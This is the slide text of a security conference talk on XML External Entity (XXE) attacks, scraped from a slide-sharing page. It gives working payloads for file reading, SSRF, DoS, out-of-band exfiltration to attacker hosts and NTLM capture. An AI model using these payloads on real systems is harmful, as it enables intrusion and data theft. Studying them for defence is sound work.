Jsonsaganohmad
 
The JSON Saga
The JSON SagaThe JSON Saga
The JSON Sagakaven yan
 
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...Marco Gralike
 
Boost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco GralikeBoost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco GralikeMarco Gralike
 
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeAman Kohli
 
Working With XML in IDS Applications
Working With XML in IDS ApplicationsWorking With XML in IDS Applications
Working With XML in IDS ApplicationsKeshav Murthy
 
Golang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyGolang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyAerospike
 

Similar a XXE: How to become a Jedi (20)

XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
 
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
 
XML Tools for Perl
XML Tools for PerlXML Tools for Perl
XML Tools for Perl
 
Parsing XML Data
Parsing XML DataParsing XML Data
Parsing XML Data
 
Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02
 
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office HoursIVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
 
Douglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation JsonsagaDouglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation Jsonsaga
 
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
 
Jsonsaga
JsonsagaJsonsaga
Jsonsaga
 
The JSON Saga
The JSON SagaThe JSON Saga
The JSON Saga
 
Processing XML with Java
Processing XML with JavaProcessing XML with Java
Processing XML with Java
 
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
Real World Experience With Oracle Xml Database 11g An Oracle Ace’s Perspectiv...
 
Ajax xml json
Ajax xml jsonAjax xml json
Ajax xml json
 
前端概述
前端概述前端概述
前端概述
 
Boost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco GralikeBoost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
Boost Your Environment With XMLDB - UKOUG 2008 - Marco Gralike
 
Solr features
Solr featuresSolr features
Solr features
 
Plone server
Plone serverPlone server
Plone server
 
Being HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on PurposeBeing HAPI! Reverse Proxying on Purpose
Being HAPI! Reverse Proxying on Purpose
 
Working With XML in IDS Applications
Working With XML in IDS ApplicationsWorking With XML in IDS Applications
Working With XML in IDS Applications
 
Golang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war storyGolang Performance : microbenchmarks, profilers, and a war story
Golang Performance : microbenchmarks, profilers, and a war story
 

Último

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 

Último (20)

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 

XXE: How to become a Jedi

  • 1. XXE: How to become a Jedi Yaroslav Babin
  • 2. • @yarbabin • Web Security Warrior @ Positive Technologies • BugBounty, CTF @ Antichat (а лучше бы рисечил) • JBFC WHOAMI
  • 3. • Script Kiddie • Master • Jedi Levels
  • 5. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> • RSS, Configs • SOAP • SVG, XMP • XMPP XML Basics
  • 6. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> Prolog Document Type Definition Document XML Basics
  • 7. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> Hello, ZeroNights XML Basics
  • 8. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol “ZeroNights”>]> <name>&lol;</name> Hello, ZeroNights Document Type Definition: Entity lol = “ZeroNights”
  • 9. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin Document Type Definition: External Entity lol = readfile(“file:///etc/passwd”)
  • 10. • DNS/HTTP • Parser errors • Very large files • /dev/urandom • /dev/zero How To Check?
  • 11. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “http://dns.sniff/chk”>]> <name>&lol;</name> Hello, 123 DNS/HTTP lol = readfile(“http://dns.sniff/chk”) $ cat chk 123 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /chk HTTP/1.1" 200 3 "-" $ cat /var/log/apache2/access.log
  • 12. <?xml version="1.0"?> <!DOCTYPE name SYSTEM “http://dns.sniff/chk”> <name>1</name> 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /chk HTTP/1.1" 200 3 "-" DNS/HTTP lol = readfile(“http://dns.sniff/chk”) $ cat /var/log/apache2/access.log
  • 13. <?xml version="1.0"?> <!DOCTYPE name SYSTEM “http://no.resolve/”> <name>1</name> JAXBException occurred: Connection Timeout Parser Errors Non resolving host Response
  • 14. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]> <name>&lol;</name> Large Files lol = readfile(“file:///deb/urandom”) Pinging 192.168.0.1 with 32 bytes of data: Request time out. C:>ping 192.168.0.1 ¯_(ツ)_/¯
  • 16. • Arbitrary file reading • Sometimes directory listing • SSRF • Port scanning • SMB • Wrappers • DOS • Billion Laughs Attack • Large file Attack vectors
  • 17. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Arbitrary File Reading Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lol = readfile(“file:///etc/passwd”)
  • 18. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///”>]> <name>&lol;</name> Directory Listing (Java) Hello, bin boot dev etc lol = readfile(“file:///”)
  • 19. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “ftp://localhost/1.txt”> ]> <name>&lol;</name> Directory Listing (Java) Hello, file_content • https:// • ftps:// • gopher:// • etc
  • 20. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “http://localhost:81”>]> <name>&lol;</name> Port Scanning Hello, INTERNAL WEB SERVER
  • 21. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “smb_shareC$1.txt”>]> <name>&lol;</name> Windows Share Hello, file_content
  • 22. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “php://filter/convert.base64- encode/resource=/etc/passwd”> ]> <name>&lol;</name> Wrappers Hello, cm9vdDp4OjA6MDpyb290Oi9yb290Oi 9iaW4vYmFzaApkYWVtb246eDoxOjE6Z GFlbW9uOi91c3Iv… • data:// • phar:// • rar:// • etc
  • 23. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “expect://id”> ]> <name>&lol;</name> Wrappers (RCE) Hello, uid=0(root) gid=0(root) groups=0(root) By default off
  • 24. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]> <name>&lol;</name> DOS (Large File) lol = readfile(“file:///deb/urandom”) Pinging 192.168.0.1 with 32 bytes of data: Request time out. C:>ping 192.168.0.1 ¯_(ツ)_/¯
  • 25. <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY a0 “lol" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> ... <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> ]> <data>&a10;</data> DOS (Billion Laughs Attack)
  • 26. • Direct output • Output in response • Error-based • DTD structure • XML schema validation • Out-of-band • NO output required • Blind-based • XSD values bruteforce Exploitation Techniques
  • 27. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin Direct Output lol = readfile(“file:///etc/passwd”)
  • 28. <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> Out-Of-Band <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7/?%data;'>"> data = readfile(“/etc/passwd”) 192.168.0.1 - - [17/Nov/2017:13:37:00 +0300] “GET /? root:x:0:0:root:/root:/bin /bash
  • 29. <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> Error Based <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http%data;://1.3.3.7/;'>"> data = readfile(“/etc/passwd”)
  • 30. • Quotes • Well-Formed Documents (< > &) • Privileges Constraints
  • 31. • OOXML (DOCX, XLSX, PPTX), ODF, PDF, RSS • SVG, XMP • WebDAV, XMLRPC, SOAP, XMPP, SAML • Databases • etc XML
  • 32. 4ML ARMLL BiblioML CIDX eBIS-XML HTTP-DRP MatML ODRL PrintTalk SHOE UML XML F AML ARMLL BCXML xCIL ECML HumanML MathML OeBPS ProductionML SIF UBL XML Key AML ASMLL BEEP CLT eCo HyTime MBAM OFX PSL SMML UCLP XMLife AML ASMLL BGML CNRP EcoKnow IML MISML OIL PSI SMBXML UDDI XML MP AML ASTM BHTML ComicsML edaXML ICML MCF OIM QML SMDL UDEF XML News AML ATMLL BIBLIOML Covad xLink EMSA IDE MDDL OLifE QAML SDML UIML XML RPC AML ATMLL BIOML CPL eosML IDML MDSI-XML OML QuickData SMIL ULF XML Schema ABML ATMLL BIPS CP eXchangeESML IDWG Metarule ONIX DTD RBAC SOAP UMLS XML Sign ABML ATMLL BizCodes CSS ETD-ML IEEE DTD MFDX OOPML RDDl SODL UPnP XML Query ACML AWMLL BLM XML CVML FieldML IFX MIX OPML RDF SOX URI/URL XML P7C ACML AXMLL BPML CWMI FINML IMPP MMLL OpenMath RDL SPML UXF XML TP ACAP AXMLL BRML CycML FITS IMS Global MML Office XML RecipeML SpeechML VML XMLVoc ACS X12 AXMLL BSML DML FIXML InTML MML OPML RELAX SSML vCalendar XML XCI ADML AXMLL CML DAML FLBC IOTP MML OPX RELAX NG STML vCard XAML AECM BMLL xCML DaliML FLOWML IRML MoDL OSD REXML STEP VCML XACML AFML BMLL CaXML DaqXML FPML IXML MOS OTA REPML STEPML VHG XBL AGML BMLL CaseXML DAS FSML IXRetail MPML PML ResumeXML SVG VIML XSBEL AHML BMLL xCBL DASL GML JabberXML MPXML PML RETML SWAP VISA XML XBN AIML BMLL CBML DCMI GML JDF MRML PML RFML SWMS VMML XBRL AIML BMLL CDA DOI GML JDox MSAML PML RightsLang SyncML VocML XCFF AIF BannerrMLLCDF DeltaV GXML JECMM MTML PML RIXML TML VoiceXML XCES AL3 BCXMLL CDISC DIG35 GAME JLife MTML PML RoadmOPS TML VRML Xchart ANML BEEP CELLML DLML GBXML JSML MusicXML PML RosettaNet PIPTML WAP Xdelta ANNOTEABGMLL ChessGML DMML GDML JSML NAML PML RSS TalkML WDDX XDF ANATML BHTMLL ChordML DocBook GEML JScoreML xNAL P3P RuleML TaxML WebML XForms APML BIIBLLIIOMLLChordQL DocScope GEDML KBML NAA Ads PDML SML TDL WebDAV XGF APPML BIIOMLL CIM DoD XML GEN LACITO Navy DTD PDX SML TDML WellML XGL AQL BIIPS CIML DPRL GeoLang LandXML NewsML PEF XML SML TEI WeldingXMXLGMML APPEL BiizzCodess CIDS DRI GIML LEDES NML PetroML SML ThML Wf-XML XHTML ARML BLLM XMLL CIDX DSML GXD LegalXML NISO DTB PGML SAML TIM WIDL XIOP ARML BPMLL xCIL DSD GXL Life Data NITF PhysicsML SABLE TIM WITSML XLF ASML BRMLL CLT DXS Hy XM LitML NLMXML PICS SAE J2008 TMML WorldOS XLIFF ASML BSMLL CNRP EML HITIS LMML NVML PMML SBML TMX WSML XLink ASTM BBCXXMLL ComicsML EML HR-XML LogML OAGIS PNML Schemtron TP WSIA XMI ARML BBEEEEPP CIM DLML HRMML LogML OBI PNML SDML TPAML XML XMSG ARML BBGMLL CIML EAD HTML LTSC XML OCF PNG SearchDM-XMLTREX XML CourtXMTP ASML BBHTTMLL CIDS ebXML HTTPL MAML ODF PrintML SGML TxLife XML EDI XNS XML
  • 33. • zip://your_doc.docx: • docProps/ • word/ • _rels/ • [Content_Types].xml OOXML (Microsoft Office)
  • 34. • zip://your_odt.odt: • META-INF/ • content.xml • meta.xml • mimetype • settings.xml • styles.xml OpenOffice
  • 35. Adobe’s Extensible Metadata Platform (XMP) is a file labeling technology that lets you embed metadata into files themselves during the content creation process. Adobe XMP V for Vendetta, X for XML
  • 36. <?xpacket begin="?" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.4-c002 1.000000, 0000/00/00-00:00:00"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?> Adobe XMP
  • 37. > select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>'); ERROR: invalid XML document DETAILS: /etc/passwd:28: parser error : StartTag: invalid element name root:x:0:0:root:/root:/bin/bash XML Parsers In Databases (PostgreSQL)
  • 38. > select extractvalue(xmltype('<?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM " ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual; XML Parsers In Databases (Oracle, CVE-2014-6577) > USER SYSTEM 331 Password required for system PASS *** $ ruby ftp.rb
  • 39. POST /api HTTP/1.1 Host: api.host Content-Type: application/json {“name”:”ZeroNights”} JSON Parser Hello, ZeroNights
  • 40. POST /api HTTP/1.1 Host: api.host Content-Type: application/xml <name>ZeroNights</name> JSON Parser Hello, ZeroNights
  • 41. Jedi
  • 42. msf > use auxillary/server/capture/http_ntlm [*] Local IP: http://1.3.3.7/capture [*] Server started. Pass The Hash
  • 43. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “http://1.3.3.7/capture”>]> <name>&lol;</name> Pass The Hash
  • 45. • No direct output, no errors • DNS request works • HTTP via 80 port not working • It's not exploitable Firewall
  • 46. • No direct output, no errors • DNS request works • HTTP via 80 port not working • It's not exploitable • Try to use another port Firewall f*ck off (:
  • 47. <?xml version="1.0“ encoding=“UTF-8” standalone=“no”?> Prolog: Optional Attributes • When yes: ignore declarations (only validation) • By default: no
  • 48. <?xml version="1.0“ encoding=“UTF-8” standalone=“no”?> Prolog: Optional Attributes And Encodings • UTF-16LE, UTF-16BE • UTF-7 • etc <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE x +AFsAPAAh-ENTITY z SYSTEM +ACI- /etc/passwd+ACIAPgBdAD4APA- x+AD4AJg-z+ADsAPA-/x+AD4
  • 49. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol PUBLIC “lol” “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin PUBLIC “same” the SYSTEM lol = readfile(“file:///etc/passwd”) Any text
  • 50. • <tag xsi:schemaLocation=“…”/> • <tag xsi:noNamespaceSchemaLoca8on=“…”/> • <xs:include schemaLocation=“…”> • <xs:import schemaLocation=“…”> • <?xml-stylesheet href=“…”?> Other Parsers
  • 51. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (<1.7) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://1.3.3.7/?%payl;'>"> 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /?bin%0Aboot%0Adev%0Aetc… $ cat /var/log/apache2/access.log
  • 52. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (>=1.7) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://1.3.3.7/?%payl;'>"> java.net.MalformedURLException: Illegal character in URL Response
  • 53. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (From 1.7 To 1.8.131) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM ‘ftp://1.3.3.7/%payl;'>"> New client connected < USER anonymous < PASS Java1.7.0_45@ > 230 more data please! < TYPE I > 230 more data please! < CWD bin … $ ruby ftp.rb
  • 54. • Java • Xerces, Crimson, Piccolo • PHP • SimpleXML, XMLReader, DOMDocument (LibXML) • Perl • Twig, LibXml • .NET • XmlReader, XmlDocument • Python • Etree, xml.sax, pulldom, lxml • Ruby • REXML, Nokogiri Parsers
  • 55. • XXE, Burp Suite plugin • XXE Internet Explorer • XXE Yandex • XXE JSON Examples
  • 62. • @a66at • @mohemiv • @okiok • https://phonexicum.github.io/infosec/xxe.html • http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html • http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html • https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf • https://www.sans.org/reading-room/whitepapers/application/hands-on-xml-external-entity- vulnerability-training-module-34397 • http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report • https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/ References & Thx